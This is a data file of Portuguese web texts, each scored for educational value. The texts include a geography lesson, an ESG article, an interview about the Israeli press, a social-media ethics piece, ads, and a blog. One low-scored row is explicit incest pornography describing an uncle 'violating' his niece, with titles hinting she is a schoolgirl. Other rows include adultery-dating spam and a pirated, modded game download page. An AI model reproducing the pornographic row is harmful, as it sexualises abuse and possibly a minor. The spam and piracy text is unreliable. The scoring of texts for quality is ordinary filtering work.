assim...",original,original,original,original,4,0.8 +"Análise por ™•°`°• pre¢iousmμtilatioπ™ •°`°•™ +por ™•°`°• pre¢iousmμtilatioπ™ •°`°•™, a há um mês +5 927 análises +por Royallred Zen, a há 14 horas +por Utilizador do Firefox 14626544, a há 18 horas +por Michael B, a há 19 horas +por ZanePonce, a há um dia +por Derpy, a há um dia +por Vath VirakPanha, a há um dia +por Utilizador do Firefox 15293365, a há um dia +por Utilizador do Firefox 15486508, a há um dia +por Richard Harding, a há 2 dias +por Utilizador do Firefox 13730509, a há 2 dias +por Stanko, a há 2 dias +por Utilizador do Firefox 15482756, a há 3 dias +por Utilizador do Firefox 15481130, a há 3 dias +por Utilizador do Firefox 15480798, a há 3 dias +por Utilizador do Firefox 12527376, a há 3 dias +por Utilizador do Firefox 15099743, a há 3 dias +por Utilizador do Firefox 15479470, a há 4 dias +por Utilizador do Firefox 15396568, a há 4 dias +por Utilizador do Firefox 13911818, a há 4 dias +por Utilizador do Firefox 13872808, a há 4 dias +por Anne Marie McGaffic, a há 4 dias +por epanheaded1, a há 5 dias +por André Teodoro, a há 6 dias +por Utilizador do Firefox 12622186, a há 6 dias",original,original,original,original,0,0.0 +"O compromisso com práticas sustentáveis nunca foi tão valorizado pela sociedade. A pesquisa Global Consumer Pulse da Accenture Strategy, de 2019, mostra que 86% dos consumidores acreditam que ações ESG (Environmental, Social and Governance) são benéficas para as empresas e 83% querem comprar de marcas que tenham propósitos alinhados aos seus. +Por isso, além da preocupação com a realização de serviços, os setores privado e público estão cada vez mais pressionados a estruturar ações sociais, ambientais e de governança que gerem impacto positivo caso queiram manter a sua relevância diante de clientes e sociedade em geral. +O Programa de Desenvolvimento e Crescimento Integrado com Sustentabilidade (PDCIS) é uma tecnologia social criada pela Fundação Norberto Odebrecht (FNO) que tem ajudado empresas, prefeituras e investidores do terceiro setor a ampliarem seus impactos sociais através do fortalecimento da agricultura familiar e do empreendedorismo rural em regiões de vulnerabilidade. +Baixo Sul da Bahia: o início de tudo +Com resultados comprovados, a atuação do PDCIS ocorre desde 2003 no Baixo Sul da Bahia sob a coordenação da FNO. A região foi escolhida como primeira a receber o programa por apresentar baixo Índice de Desenvolvimento Humano (IDH) e outros indicadores de carências sociais que, à época de criação do PDCIS, já sofria com o êxodo rural e com a falta de perspectivas do jovem para continuidade de sua educação e vida profissional. Aspectos que contrastavam com a grande riqueza ambiental e vocação agrícola da região. +Essa realidade, no entanto, vem sendo modificada com ações voltadas à educação para o desenvolvimento sustentável, com incentivo à agricultura familiar que alavanca o crescimento econômico com inclusão social e conservação ambiental. +Esta transformação foi confirmada em uma Avaliação de Impacto realizada em 2018, que constatou transformações significativas na vida dos beneficiários. A expressão dos resultados revelou a possibilidade de contribuição do PDCIS na orientação de políticas públicas, sendo adaptado e expandido para outros contextos e realidades, ampliando o alcance e os benefícios a mais pessoas em outras regiões do país. +Alguns números de destaque do Programa no ano passado: +● 26.794 pessoas beneficiadas, em 182 comunidades, de 18 municípios; +● 7,3 mil toneladas de alimentos produzidas; +● 248 hectares preservados; +● 344 jovens em formação nas escolas rurais parceiras; +● 199 mil árvores plantadas, totalizando 525 mil desde 2012; +● Alcance de 13 dos 17 Objetivos de Desenvolvimento Sustentável. +Nasce uma sistematização +Após a Avaliação, em 2019, a Fundação iniciou o trabalho de sistematização da sua tecnologia social, concluído em 2020. Foram oito meses para o desenvolvimento do documento, que foi coordenado pela equipe da FNO e contou com a participação de aproximadamente 20 profissionais, como engenheiros agrônomos, pedagogos, administradores, contadores, jornalistas e zootecnistas. A publicação está disponível em nosso site (www.fundacaonorbertoodebrecht.com). +Expansão responsável +Após todo o trabalho de sistematização, a Fundação deu início, em julho de 2021, à expansão do PDCIS fora do eixo do Baixo Sul da Bahia. O projeto passou a ser realizado também em Macaé, no Rio de Janeiro, em parceria com a Ocyan - empresa do Grupo Novonor, a prefeitura e a Associação dos Produtores da Agricultura Familiar do Sana (APAF-SANA). Até então, 30 famílias do município estão sendo beneficiadas. +A expansão do PDCIS sempre foi um anseio do fundador da FNO, Norberto Odebrecht. Sem perder a sua essência, a Fundação se coloca à serviço de gestores públicos, empresas privadas e suas lideranças, investidores e empreendedores sociais para que mais regiões possam ser beneficiadas pelos resultados deste programa social. +*Fabio Wanderley é Superintendente da Fundação Norberto Odebrecht desde 2017. Administrador pela Universidade Católica de Salvador, com MBA em Finanças Corporativas pela FGV, o executivo possui mais de 20 a...",original,original,original,original,4,0.8 +"Já parou para pensar como o Brasil é diferente de um lugar para outro? Do calor da Amazônia ao frio do Sul, do sertão nordestino às praias do Sudeste, nosso país é um mosaico de paisagens! Mas o que define uma paisagem? Uma paisagem é tudo aquilo que a gente consegue observar em um determinado lugar: as árvores, os rios, as montanhas, as casas, as estradas, as pessoas… Tudo! E as paisagens brasileiras são incrivelmente diversas, resultado da combinação de elementos naturais e da ação humana ao longo do tempo. + +Imagine que você está voando sobre o Brasil. Lá do alto, você veria a Floresta Amazônica, a maior floresta tropical do mundo, com seus rios gigantes e uma biodiversidade impressionante. Descendo um pouco mais, você encontraria o Pantanal, uma área alagada riquíssima em vida animal, com aves, jacarés e outros bichos que só existem ali. Seguindo para o Nordeste, o cenário muda completamente, com a Caatinga, uma região de clima seco e vegetação adaptada à falta de água, como os cactos. No Sudeste, as paisagens urbanas se misturam com a Mata Atlântica, uma floresta que já foi muito maior, mas que ainda guarda muita beleza e importância. E no Sul, os campos e as araucárias, árvores típicas da região, criam paisagens únicas. + +Cada uma dessas paisagens conta uma história. A forma como as pessoas vivem, trabalham e se relacionam com a natureza em cada lugar molda a paisagem e é moldada por ela. Por exemplo, a construção de estradas e cidades transforma a paisagem natural, mas ao mesmo tempo, a natureza também influencia a forma como as cidades são construídas. Pense nas casas de palafita na Amazônia, que são construídas sobre estacas para evitar as enchentes. + +Entender as paisagens brasileiras é fundamental para conhecermos melhor o nosso país, suas riquezas e seus desafios. É importante perceber como as ações humanas podem impactar o meio ambiente e como podemos contribuir para a preservação das nossas paisagens. Que tal começar a observar a paisagem ao seu redor? O que você vê? Quais elementos naturais e humanos você consegue identificar? Como você acha que essa paisagem se transformou ao longo do tempo? E o que você pode fazer para cuidar dela? A geografia nos ajuda a responder essas e outras perguntas, tornando a nossa relação com o mundo mais consciente e responsável. Afinal, a paisagem que nos cerca é parte da nossa história e do nosso futuro.",Geografia,Paisagens brasileiras,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de paisagem de forma clara e acessível, explorando a diversidade do Brasil e a interação entre elementos naturais e humanos. A linguagem é adequada ao ensino fundamental, incentivando a observação e a reflexão sobre o meio ambiente. Além disso, estimula a consciência ambiental e a responsabilidade social, elementos importantes para a formação dos alunos.",5,1.0 +" “A mídia israelense está sendo subjugada” _ Observatório da Imprensa +Reconhecido pelo seu trabalho de aproximação entre jornalismo e paz no Oriente Médio, o professor Dov Shinar, nasceu em São Paulo, Brasil, em 1936, mas vive em Israel desde 1950. PhD em Comunicação, o jornalista e pesquisador é Decano da Escola de Comunicação do Netanya Academic College e diretor do Fair Media: Centro de Estudos de Conflito, Guerra e Paz. +Na esteira de uma extensa experiência profissional, suas áreas de interesse incluem mídia na guerra e na paz; comunicação e desenvolvimento humano, enfatizando identidade coletiva e memória; dimensões socioculturais de tecnologias da comunicação e comunicações internacionais. +O professor emérito da Universidade de Concordia (Montreal) e da Universidade de Ben-Gurion, defensor do Estado laico em Israel, concedeu esta entrevista em sua casa, em Jerusalém, em dezembro do ano passado, numa tarde de sexta-feira, no início do shabat (shãbath, em hebraico, dia que para os judeus deve ser guardado). Em setembro de 2012, Shinar forneceu novas informações por e-mail sobre o desenrolar dos fatos citados e do ambiente vivido em Israel nesse período. +O resultado pode ser conferido a seguir. A entrevista traz uma análise da atual situação da imprensa em Israel, das pressões políticas que instituições como a Justiça e as universidades sofrem no país e de como o nacionalismo e a religião vêm ganhando espaço nas decisões de Estado. +Como o senhor vê a situação da imprensa em Israel? +D.S. – Não é uma lei exatamente, é uma medida de emergência que vem do período de dominação britânica na Palestina. Na Segunda Guerra Mundial, foi empregada para combater a propaganda nazista [medida promulgada por autoridades britânicas em 1945 na Palestina ocupada, por meio dos Defence (Emergency) Regulations, que instituíam a censura a livros e jornais. Depois da criação do Estado de Israel, em 1948, as leis foram incorporadas à legislação do país]. +Antes da existência desse acordo, o jornal inteiro era submetido à censura? +D.S. – Tudo, o jornal inteiro, até as palavras cruzadas, publicidade, tudo. +Portanto, existe uma censura funcionando? +D.S. – Militar, uma censura militar, uma censura sobre temas relacionados à segurança. +Qual análise o senhor faz da situação da democracia no país? +E esses ataques limitam-se ao Judiciário? +Isso é parte desse ataque contra a mídia? +O que quer dizer “passar para o outro lado”? +A quem responde o oficial, ao comandante ou ao rabino, há uma confusão de esferas, não? +D.S. – Não é só uma confusão de esferas. Veja, eu não acredito em teoria da conspiração; isso reflete o que está acontecendo na sociedade. O público recebe o governo que merece. Esse governo de direita foi eleito pelo público. Não sei se é conspiração. Mas sem dúvida é uma tendência muito assustadora. +O que aconteceria, por exemplo, se Tzipi Livni [política israelense, ex-líder do partido Kadima]fosse eleita primeira-ministra? Não bateriam continência? +À esquerda, não há os que acusam o seu discurso de ser uma defesa, em nome da liberdade de imprensa, da imprensa de direita também? +O senhor está usando a palavra liberal no sentido da democracia americana… +D.S. – Não, hoje isso mudou. Hoje você tem novas organizações, como a JStreet, nos Estados Unidos, que já aceitam as teses da esquerda.Mas a maioria, a liderança das comunidades judaicas do mundo, é conservadora. Acho que, no Brasil, também. Fiz algumas palestras lá [no Brasil]; eu me saí mais ou menos bem, não me atacaram, é gente civilizada. Mas é um problema, Israel sempre é um problema, não importa o que você faça… [risos] +No espectro dos jornais de Israel, hoje, o que ler? +D.S. – Não muito popular. Esse pessoal que apoia a direita não lê muito jornal, não. Vê televisão, vê essa coisa de cozinha na TV, reality shows. +D.S. – Não, é um jornal partidário, mas tem alguns bons jornalistas, um deles está até no Knesset [parlamento israelense]. Aliás, há uma grande representação de jornalistas no Knes...",original,original,original,original,3,0.6 +"Qual a nossa responsabilidade no uso das redes sociais? +A internet é utilizada diariamente por 3,2 bilhões de pessoas no mundo, mas será que sabemos utilizá-la com responsabilidade e ética? +Infelizmente, tornou-se “comum” ouvir, nos noticiários, que jovens se suicidaram por não aguentarem a pressão das redes sociais e aplicativos virtuais, assim como às vezes ouvimos que pessoas foram consideradas culpadas por algo que nem cometeram. +É difícil imaginar a dimensão que fotos, vídeos e palavras podem alcançar, quando circuladas em redes sociais, tal como aquela famosa corrente que vai sendo passada de um para o outro e, de repente, já “viralizou”, alcançando milhares de pessoas. +Para ajudar na reflexão e orientação dos adolescentes no uso ético e responsável da internet, seguem 8 tópicos: +Coloque-se no lugar do outro. Exerça a empatia: Se eu recebesse essa mensagem que eu encaminhei para o “outro”, como eu me sentiria? +A notícia que eu recebo e quero compartilhar é verdadeira? Sabemos que há sites especializados em espalhar notícias falsas e que ganham muito dinheiro com isso. Por que não investigar sobre a veracidade da informação que quero transmitir? +Qual a real intenção de compartilhar fotos e vídeos de acidentes? Infelizmente, é muito comum recebermos esse tipo de vídeo, mas não devemos compartilhá-los; além de não acrescentar em nada, lembremos que há famílias vivendo uma perda. Precisam de acolhimento, ao invés de exposição; +Ter conta em sites de relacionamento não me faz especialista em todos os assuntos. Não somos capazes de opinar sobre todos os assuntos, entretanto, muitas vezes, falamos sobre política, artes, gastronomia, história, cinema etc. Talvez se opinássemos sobre o que realmente sabemos, nossas opiniões não seriam tão vazias e fariam mais sentido para muitas pessoas as que lêem; +Espalhar boatos na internet causando pânico na população é crime. O ato de não verificar se as informações que queremos repassar são verdadeiras pode causar medo e, na maioria das vezes, são notícias falsas; +A liberdade de expressão é muito diferente do falar de forma irresponsável. Não podemos falar tudo o que pensamos sobre o outro ou uma situação somente de um ponto de vista, sem contextualizar a situação; +Lembre-se de que as palavras podem ferir e ajudar a espalhar determinados conteúdos inverossímeis e inverídicos na internet; +Nunca se esqueça de que devemos ter ética e responsabilidade sobre todos os conteúdos que compartilhamos. +Enfim, trata-se de um assunto de grande importância, ou seja, precisamos refletir sobre o modo que estamos usando diariamente a internet. Todos nós.",original,original,original,original,4,0.8 +"Casada procura casado Viseu +Homens gostam de ser cortejados também - de que as regras mudam um pouco!Sim - às vezes ele pode pedir - por outro lado, ele não vai.Além disso, o tempo necessário para controlar o tempo e especiarias hottt vermelho!E não é só sobre sexo!O sexo não é a.. +Além de proporcionar uma pele acetinada e um bronzeado natural, deixa a mulher linda e poderosa nas quatro estações do ano.É possível, ainda, selecionar três aplicativos para enviar notificações para a pulseira.Possui também ação calmante, pois tem uma dosagem elevada de água floral de aciano, podendo ser usado.. +Casada procura casado +Aqui você vai conhecer pessoas como você, com os mesmos interesses, com os mesmos objetivos!Percebi assim que ainda tenho valor, que ainda sou desejada e que também posso realizar meus desejos"".Site discreto e anônimo!Somos um site para você encontrar seu amante perfeito para relações casuais e aventuras sexuais extraconjugais!Rio de Janeiro mike57ce 49 anos, juazeiro do Norte oladi 20 anos, campo Largo, dyego 25 anos.Caldas Novas, ver mais.Watch Queue, filmes de sedução para mulheres casadas queue _count total loading.Você vai conhecer pessoas interessantes para trocar idéias, combinar encontros e no mínimo, fazer novas amizades!Aqui sua conta VIP é cortesia!Please try again later.Apesar de estarmos ainda vivendo um relacionamento paralelo, estou muitisimooo felizzz e desejo que as pessoas cadastradas tenham a mesma alegria que eu, porque o site realmente funciona e o legal que as pessoas aqui são do bem, pessoas de verdade, que trabalham, tem filhos.Há muitas pessoas casadas em busca de prazer, emoções fortes e sair da rotina do casamento.Saia da rotina do casamento!Qual a vantagem de ser um membro do site Só Casados?Site discreto e cadastro anônimo sem necessidade de fornecer dados pessoais!Você mulher casada que procura um amante casado e nas mesmas condições que você.Conheci um homem casado que é hoje o homem da minha vida, pode parecer hipocrisia o que vou dizer, por sermos casados, mas nos apaixonamos loucamente, nunca pensei que nesta altura da vida poderia ter sentimentos como estou vivendo.A vida é curta, aproveite a vida!Conta VIP grátis para mulheres! +Site anônimo e sigiloso para romances discretos! +Mulheres para amizade ou algo mais +My Account, search, maps,, play, gmail.Copyright 2017 Vivalocal - Part of W3 LTD.Nota: É livre de usar o site como quiser e o site continuará grátis.O nosso sistema detectou que é muito raro responder a novas conversas.A maior parte das categorias no Vivalocal são gratuitas.Apenas podemos pedir-lhe que +Mulher virtuosa solteira +Criamos uma geração de procuro amante tenerife jovens mulheres e homens que não entendem a ética sexual.Os versículos 14-26 seguem e apresentam a analogia da igreja como membros de um corpo e enfatiza a interdependência deles.ELA NÃormal, diante do caos imposto por casadas em busca de casados nossa +Que procuram os homens de 35 anos, em uma mulher +A anúncios de mulheres procurando homens em xalapa ironia e foras também tomam conta.Os homens sentem-se sufocados, sem espaço e com uma espiã desconfiada 24h atrás deles, o relacionamento torna-se infeliz, menos prazeroso e com certeza ele não durará muito.Ela tem que empurrá-lo e não prender, diz.Estarei escolhendo +Pro: El sitio de citas Zoosk proporciona a los usuarios un conjunto.A traves de nuestros moderadores rechazamos las fotos subidas de tono o los textos de los anuncios que no concuerdan con nuestro objevito: amor en linea sincero, serio y fundamentado en los lazos de la amistad.Un estudio +Morada: Avenida Reyes Catolicos, 6 Metro : Moncloa Museu Casa da Moeda Grátis Horário: Terça a Sexta, das 10h00 às 17h30; Sábado, Domingo e procurar mulheres na costa rica feriados, das 10h00 às 14h00.Tanto a tem que são dignas de ver as filas que se formam nos museus +Mulheres anúncios de perugia +Graças às histórias à procura de casal guatemala dos filmes de sessão da tarde, você já deve ter sentido uma pitada de von...",original,original,original,original,0,0.0 +"Download - DEAD TRIGGER (Dinheiro Infinito) ATUALIZADO - Para Android +Visualmente impressionante First Person Shooter Zombie Arcade!Mais de 26M de downloads! +* Suporta efeitos prolongados sobre Tegra 3 dispositivos * +Em 2012, a civilização moderna está chegando ao fim. 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AtualizeiExcluiryuri kileer14 de setembro de 2015 20:15Ja tem mais um escritoExcluirResponderyuri kileer14 de setembro de 2015 20:14Muinto obrigadoResponderExcluirUnknown19 de dezembro de 2015 20:15Mermao doido valew aí bichin.Tava loko por esse jogo no modo dinheiro infinito.ResponderExcluirUnknown5 de janeiro de 2016 02:42Obrigado mesmo cara , me ajudou muitoo...ResponderExcluirLeafart Gamer8 de janeiro de 2016 13:32Valeu caraResponderExcluirJúnior Vilar23 de janeiro de 2016 04:40Muito bom valeu ResponderExcluirrejian martins5 de fevereiro de 2016 17:31brigadão mano que deus le abençoeResponderExcluirSmauG Smite4 de abril de 2017 14:13nao ta pegando o download foi deletadoResponderExcluirRespostasGames Android Hacker4 de abril de 2017 19:48Obrigado por avisar, o link foi corrigido! :DExcluirResponderAdicionar comentárioCarregar mais...",original,original,original,original,1,0.2 +"Copyright Esta obra foi postada pela equipe Le Livros para proporcionar, de maneira totalmente gratuita, o benefício de sua leitura a àqueles que não podem comprála, ou aos que pretendem verificar sua +Vemos uma visão panorâmica da cidade de Belo Horizonte. O nome da cidade aparece no canto da tela. 1. INT - ESCRITÓRIO DE ROBERTO/SACADA - TARDE +4. FADE IN: Vemos uma visão panorâmica da cidade de Belo Horizonte. O nome da cidade aparece no canto da tela. 1. INT - ESCRITÓRIO DE /SACADA - TARDE ESCRITÓRIO SACADA Mãos digitando no TECLADO de um computador. +Ahhhhhhhh! A escola inteira se assustou. A professora Graça saiu procurando quem tinha gritado e encontrou a Carolina aos prantos no canto da sala. +Capítulo 3 O Dia do Benquerer foi um sucesso. Tudo correu às mil maravilhas com as crianças, as atividades, os brinquedos, os bichos de estimação. E, no final do dia, a escola estava preparada para a premiação +* Jersey Joe Wolcott (1914-1994): famoso lutador de boxe, campeão por diversas vezes na categoria dos pesos pesados. (N.T.) +1 Cheguei a Nova Orleans às cinco da manhã, debaixo de chuva. Sentei-me nas proximidades da rodoviária por um tempo, mas as pessoas me deprimiam de tal maneira que peguei minha mala, enfrentei a chuva",original,original,original,original,3,0.6 +"Violando a sobrinha em um incesto gostoso proibido. Esse velho safado estava louco para dar uns pegas nessa menina mais nova, e por isso que ele acabou levando ela para um quartinho escondido, e começou colocando a mão nos peitos pequenos dessa safada. Logo em seguida, a linda magrinha começou a pegar no pau duro do velho, que já estava lambendo os lábios. E querendo dar uma chupada nos peitos da jovem. +Logo ele não se aguentou e caiu de boca nos peitos enormes dessa gostosinha, dessa maneira, ele enquanto chupava a menina, começou a enfiar os dedos dentro da bucetinha molhada da safada pelada. Sendo assim, ele acabou arrancando a calcinha molhada da gostosinha e começou a meter a rola dentro da vagina da mulher. +Dessa maneira os dois aproveitaram para foder de uma forma deliciosa, com ele de fato comendo a bucetinha pequena da putinha. Que de fato fez um filme de incesto, com ele deflorando a linda xereca raspada da mulher nua. E por fim, ainda aproveitou para ejacular na linda vagina da gatinha, que ficou toda lambuzada de esperma depois da pornografia gostosa. +Mais sugestões de vídeos de incesto: +1- Abusou Da Sobrinha Novinha Depois Da Escola +2- Tio Abusando Da Sobrinha Novinha De Apenas 18 Anos +3- Tio Flagra Peitos Gostosos Da Sobrinha Safada E Deliciosa +4- Tios Fodendo Suas Sobrinhas Gostosas Em Uma Praia +Coroa de pau grande violando a sobrinha da bucetinha fechada +Depois de o coroa conseguir o que quer, ele ainda aproveitou para colocar a menina para chupar o seu cacete e de fato, render um baita sexo que qualquer um que gosta de uma putaria com incesto ama ver. Além disso, junto com a masturbação, ainda rendeu um baita sexo que deixou a bucetinha da menina violada depois de todo essa transa gostosa que acabou rolando.",original,original,original,original,0,0.0 +" Aula de espanhol BH: conheça nosso método de ensino +De acordo com o psicólogo bielo-russo Lev Vygotsky, (1896-1934) +“a função primordial da linguagem é comunicar, relacionar socialmente, influenciar os circundantes tanto do lado dos adultos quanto do lado da criança”. +Assim, a linguagem nos dá o poder de trocar ideias, histórias, fatos e relatar nossos acontecimentos sem ter a necessidade da presença do objeto ou pessoa da qual estamos falando. +Precisa de um curso de espanhol intensivo em BH? +Aula particular espanhol BH: melhor opção +Se você tem de se preparar para uma entrevista de emprego, se apresentar em um congresso internacional, fazer provas de proficiência, seleção em pós-graduação ou fazer um intercâmbio, certamente vai precisar de fazer um curso de espanhol intensivo. +No curso, você encontra várias modalidades de aulas particulares de espanhol. +Agora, se preferir, temos também aulas em pequenos grupos. +Mas, sejam em que modalidade queira, as aulas são elaboradas por profissionais experientes e competentes, que buscam fundamentação teórica no melhor material de apoio, sejam eles livros didáticos e literários, livros de artes, comics, cinema, músicas e seriados, tudo de acordo com o seu interesse e a sua necessidade. +Sabemos que a linguagem é o meio de comunicação usado pelo homem para interagir com o mundo em que vive e que ela é cercada de simbolismos. +Por isso, a aquisição de um idioma, além de propiciar oportunidades gerais, sistematiza códigos os quais podem ser reconhecidos em uma comunidade específica, em um tempo e modo específicos. O que torna essencial para que o ser humano possa relacionar-se de modo organizado com as pessoas. +Por isso que, hoje, em plena era da globalização, saber um segundo idioma é questão sine qua nom para vivermos em harmonia. E aprender com aulas particulares é a melhor opção. +Dessa forma, se você deseja aprender o idioma de Cervantes, seguem algumas modalidades que você pode escolher. Veja só: +Se você não tem urgência, é um curso ideal para aproveitar ao máximo a experiência de aprender uma língua e toda a cultura que a circunda. +Agora se você já tem urgência com o idioma, o ideal então é fazer o intensivo. +Diploma Español Lengua Extranjera é um certificado exigido para o programa Ciência sem Fronteiras – Com professores membros do tribunal de examinadores DELE. Para essa modalidade, as aulas irão prepara-lo para o exame, além de oferecer suporte gramatical e fonético, caso precise. +É um curso projetado para você que planeja fazer uma viagem em países cujo idioma é o espanhol. +Apropriado para você que precisa criar habilidade da leitura e tradução em língua espanhola para participara de exames de pós-graduação. +Ideal para quem quer, além de conhecer o idioma, conhecer também a cultura espanhola. Esses cursos são divididos em extensivo-cultural e conversação. +A propósito, saiba que em todas as modalidades, o material didático usado é o mais completo possível e está de acordo com os preceitos educacionais do ensino de idiomas. +Se você gostou do post, deixe seus comentários. +Flávia Leite 2018-09-27T19:30:19+00:00",original,original,original,original,2,0.4 +"Design de Relacionamento: Serviços ... +Este seminário abordou os principais conceitos do design thinking, disciplina que usa os métodos do design para unir as necessidades das pessoas com o que é tecnologicamente factível e economicamente viável dentro de uma estratégia de negócios. +at JS Serviços Web +Tania Nalborczyk Leites 2. +O design thinking é umaferramenta que ajuda aempresa a pensar com a cabeça doconsumidor. As aspirações do clientesão, então, decifradas e traduzidas em umobjeto inovador, único. Design Thinking 4. +Design Thinking 5. ++ = Design Thinking 6. +Humano(desejável) Econômico (viável) Tecnológico (possível) Design Thinking 7. +1 - Inspiração Design Thinking 10. +2 - Ideação Design Thinking 11. +“Build in order to think, instead of thinking in order to build” Tim Brown - IDEO Design Thinking 12. +3 - Implementação Design Thinking 13. +Entender o que osbrasileiros, principalmente declasse média baixa, esperam deum computador 14. +Design Thinking 15. +Problema complexo Modelo de pensamentoSolução (fórmula) Design Thinking 17. +“Vantagem competitiva consiste em criar métodos de solução de problemas complexos antes dos Design Thinking competidores” Roger Martin 18. +Pensamento analítico Lógica indutiva Lógica dedutivaPensamento abdutivo Lógica abdutiva Design Thinking 19. +EmpatiaPensamento integrativo Otimismo Experimentalismo Observação Inovação Trabalho em equipe Design Thinking 20. +Invenção do negócioRecompensa incerta, mas altaImpossibilidade de consolidar e explotar retornos Longo prazo Alto risco Administração do negócio Curto prazo Risco mínimo Recompensa pequena, mas previsível 21. +Resultados que cumprem objetivo Subjetividade Capacidade de julgamento Resultados consistentes e previsíveis Eliminação de subjetividade e tendenciosidade 22. +Design Thinking 23. +Pensamento Pensamento Analítico Design IntuitivoConfiabilidade Thinking Validez Explotação Exploração 24. +O que aprendemos Vida real Erros são experiências Erros não são aceitos de aprendizado Falhas não são toleradas As falhas levam ao sucesso Dada a pergunta, Faça boas perguntas ache a resposta correta encontre a melhor resposta Conhecimento e certeza Intuição e imaginação criam Promovem confiablilidade potencial para usar o conhecimento Design Thinking 25. +―Thinking like a designer can transform the way you developproducts, services, processes—and even strategy‖ Tim Brown – CEO of Ideo 26. +Obrigada!Tania Nalborczyk Leites tnl@neo.ufsc.br www.neo.ufsc.br Recomendadas",original,original,original,original,3,0.6 +"Óculos com proteção UV 400 é o que garante seus olhos protegidos dos raios ultravioleta, Quando estamos com óculos de sol tendemos a relaxar o olhar por conta da penumbra, que facilita a visão na claridade, é exatamente por esse motivo que você não deve usar óculos sem proteção, pois a lente escura aumenta a pupila do olho, deixando seus olhos ainda mais abertos e livres para absorver sem nenhuma barreira os raios ultravioleta. +Os óculos com proteção UV 400 ajudam a reduzir e bloquear a intensidade de radiação que penetra nos tecidos oculares. +Classificação da radiação ultravioleta: +UVA têm um comprimento de onda de 320 a 400 nm e são os de maior incidência na superfície terrestre, uma vez que não são absorvidos pela camada de ozônio. Eles correspondem à maior porção do espectro ultravioleta e incidem de igual maneira durante todo o dia e em todas as estações do ano, incluindo dias nublados e com baixa luminosidade. +UVB com comprimento de onda na faixa de 280 a 320 nm, são parcialmente absorvidos pela camada de ozônio, por isso apresentam maior incidência durante o verão, principalmente, no período das 10h às 16h, em regiões de altitudes elevadas e próximas à linha do Equador (como o Brasil, por exemplo). +A superexposição a esses raios pode levar ao surgimento de sardas e machas e até aumentar o risco de desenvolver câncer; sem esquecer dos prejuízos aos olhos, como catarata e Cegueira.",original,original,original,original,4,0.8 +"As informações da ficha técnica de Kobo Touch 2.0 são meramente indicativas. Se você detectar um erro, por favor nos informe através do icône à direita de cada especificação.",original,original,original,original,0,0.0 +"Ajuda para Noivas: Brincadeiras para chá de Panela +Como estão? Pooo dia super cansativo hoje, matricula da faculdade.. nossa quanta gente na minha frente rsrsrs, mais faz parte do pacote (rs). Mesmo assim estou super bem, aproveitando cada momento com o amor né, não é sempre.. Na loucura total, quase pirando com as Bodas de minhas mãe, que como já disse estou organizando, entao estou terminando de imprimir os convites deles, depois posto fotos aqui :) +Como já postei aqui, estou garimpando ideias para meu chá, quero que ele seja super legal.. descontraido que todas se divirtam. Achei esses tmepo algumas dicas de brincadeiras muito interessantes e vou postar aqui pra vocês! +Também quero deixar aqui registrado meu carinho por todos que deixam seus comentarios aqui no blog, é muito importante de coração. +Um mega beijoÉvelin +Noivinha Carol Sena19 de fevereiro de 2010 04:44Oi!Menina tbm estou na saga...mas o meu vai ser cha bar.. depois um de lingerie, estou com duvidas entre decoração.. fico do blog cha das panelas so imginando e em duvidas rsrs!boa sorte bjusResponderExcluirMayra19 de fevereiro de 2010 05:58Fez a matrícula e o trote qndo vai ser!To anotando todas as idéias de vcs e já to fazendo as minhas pesquisas, sua idéia é ótima tbm!BjosResponderExcluirRebeca19 de fevereiro de 2010 08:23Eu não fiz brincadeiras, sou muito tímida! Mas acho muito legal!BeijosResponderExcluirNoivinha Lú25 de fevereiro de 2010 12:59NÃO ACREDITOOOO! ATÉ QUE ENFIM ENCONTREI UMA NOIVA BLOGUEIRA GAÚCHA!!! HEHEATÉ LANCEI ONTEM NO MEU BLOG UMA CAMPANHA! KKKKTUDO BEM, FLOR?DEPOIS DE 1 ANO QUASE DE BLOG QUE CONSIGO ENCONTRAR 1 NOIVINHA QUE SEJA DAQUI DO RS... JÁ TÔ TE SEGUINDO E TE LINKANDO!CONTO COM A TUA VISITA LÁ NO MEU CANTINHO, HEIN!?BJOOOOResponderExcluirAdicionar comentárioCarregar mais...",original,original,original,original,1,0.2 +"Projeção de Mercator, Geografia Projeção de Mercator +Home / Geografia / Projeção de Mercator +Matemáticos, cartógrafos, engenheiros, geógrafos e outros profissionais ao longo do tempo e do desenvolvimento da ciência cartográfica, pensaram em diversas formas para representar a superfície esférica da Terra, ou seja, através de mapas. +A projeção significa transferir uma superfície curva para um plano. No entanto, todas as projeções existentes desconfiguram ou alteram a superfície representada, seja o tamanho do objeto, suas formas ou a proporção das áreas. +A solução clássica para a representação veio em 1569 com Gerhard Kremer (1512-1594), cujo codinome latino era Gerardus Mercator, nascido na região de Flandres (atualmente a Bélgica), considerado o pai da Cartografia Moderna, cujas inspirações provém do cientista grego Claudio Ptolomeu. Gerardus trabalhou na Universidade de Louvain e deu início a escola holandesa de cartografia. +Na Projeção de Mercator, que é cilíndrica (ou conforme), conserva as formas das figuras representadas, mas altera a dimensão de suas áreas. Ela foi feita por uma tela enrolada ao redor do globo terrestre, formando um cilindro que é iluminado por uma luz que fica no centro do globo (figura 1). Desta forma, é possível projetar na tela a imagem das figuras representadas, originando o que se conhece como planisfério. Mercator também dividiu o planeta em 24 meridianos e 12 paralelos. +Figura 1 – Projeção de Mercator +Essa projeção foi apresentada no momento histórico das grandes navegações e expansões marítimas de alguns países da Europa, tornando-se um padrão na cartografia europeia, pois permite representar as direções verdadeiras de navegação como segmentos de reta, conhecido como loxodrômia. Que embora alterassem em área e distância, representava precisamente as formas dos continentes. O planisfério construído representa ainda uma gigantesca Antártica e Groelândia, que parece possuir uma área maior que a própria América do Sul. Além de exagerar no tamanho da própria Europa. +Além disso, como produto de um tempo em que a Europa começa a se expandir e colonizar outros lugares, a projeção de Mercator refletia muito bem a visão de mundo eurocêntrica, onde, por exemplo, a África e a América do Sul foram reduzidas sem provocar nenhum alarde as instituições da época. No entanto, deve-se reconhecer que as projeções não são apenas soluções matemáticas, mas também produtos artísticos e culturais. +O tamanho e a posição de alguns continentes continuaram até o século XX, embora as perspectivas e ideias políticas sofreram algumas alterações. Com a descolonização da Ásia e da África, a projeção de Mercator foi alvo de muitas críticas, pois começam a surgir diversas formas de representação da Terra.",original,original,original,original,4,0.8 +"Olá, pequenos exploradores! Já pararam para pensar como o nosso Brasil é um lugar tão especial e cheio de gente diferente? Hoje, vamos embarcar em uma aventura para descobrir um pouco mais sobre a população brasileira e as culturas que formam o nosso país! + +Imagine que o Brasil é como um grande jardim, onde cada flor representa uma pessoa. Algumas flores vieram de longe, de outros países, e 